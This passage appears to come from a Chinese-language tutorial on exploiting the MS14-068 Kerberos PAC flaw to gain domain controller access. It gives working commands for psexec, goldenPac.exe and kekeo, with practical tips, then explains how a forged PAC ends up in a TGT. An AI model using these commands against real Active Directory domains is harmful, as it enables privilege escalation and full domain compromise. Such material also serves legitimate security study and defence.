寫入成功後，成功 dir 域控 C 盤

‍

使用 psexec.exe 獲取一個交互式 shell#

psexec.exe \WIN-2008-DC.ggyao.com cmd

‍
psexec 執行單條命令：
psexec.exe \WIN-2008-DC.ggyao.com cmd /c “ipconfig”

‍

方法 2：goldenPac.exe（推薦使用）#

（https://github.com/maaaaz/impacket-examples-windows）
此工具是 impacket 工具包裡的，它是 MS14-068+psexec 的組合，因此使用起來非常放方便快捷。
goldenPac.exe ggyao.com/zhangsan@WIN-2008-DC.ggyao.com

‍

方法 3：kekeo.exe#

（https://github.com/gentilkiwi/kekeo/releases）
通過 kekeo.exe 獲取域控權限，此工具並非每次都能成功利用。
kekeo.exe “exploit::ms14068 /domain.com /user /password /ptt” “exit”

‍

注意事項#

1. 票據偽造的機器不一定需要在域裡，將 DNS 指向域控，能解析就行。
2.IPC$ 訪問域控的時候需要使用主機名，不能使用 IP。
‍

漏洞原理：#

其實出現這個問題的關鍵點在於 PAC (特權屬性證書：驗證用戶所擁有的權限)
先大致回顧一下 Kerberos 的認證流程

域用戶登錄，向 KDC 的 AS 服務發送自身密碼加密的時間戳進行預認證；
DC 的 AS 服務驗證用戶密碼是否正確。若正確，返回一張 TGT 票據，該票據為 krbtgt 密碼加密而成；
域用戶憑藉 TGT 票據向 KDC 的 TGS 服務申請訪問某 Server 服務的票據；
域控的 TGS 服務驗證 TGT 後，返回給域用戶能夠訪問該 Server 服務的票據 (ST, TGS Ticket)；
域用戶拿著 ST 訪問對應的 Server 服務；
該 Server 服務驗證 ST，決定是否允許讓域用戶訪問。

其中，PAC 是默認包含在 TGT 中的；
通常情況下，AS_REQ 請求中如果 include-pac 被置為 true，只要 AS 服務通過了域用戶的認證，則會在返回的 AS_REP 數據包中的 TGT 中加入 PAC 信息；
而如果在 AS_REQ 請求時，include-pac 被置為 false，則 AS_REP 返回的 TGT 中就不會包含 PAC 信息。
於是在 AS_REP 返回的 TGT 中沒有 PAC 信息後，域用戶則可以偽造 "惡意" 的 PAC 放入 TGS_REQ 中，KDC 解密 PAC 後會再次加密到一個新的 TGT 中並返回給域用戶，此時的 TGT 中已經攜帶了 “惡意” PAC，也就達到漏洞利用的目的。